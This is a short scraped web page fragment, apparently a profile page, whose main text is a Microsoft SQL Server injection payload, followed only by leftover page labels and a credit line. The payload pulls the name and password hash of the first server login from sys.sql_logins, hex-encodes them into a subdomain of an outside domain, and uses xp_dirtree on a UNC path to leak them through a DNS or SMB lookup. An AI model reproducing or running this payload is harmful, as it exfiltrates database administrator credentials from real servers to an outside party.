declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(ISNULL(password_hash,0x0)),0,63)+'.4ruhnmc2y3zkgc3w3dxynzniubvrzk6yxbccn7fx'+'xk4.r87.me' from sys.sql_logins WHERE principal_id=1;exec('xp_dirtree ''\\'+@h+'\c$''')

Profiles

Appears in...

Made with care by Eric Martindale.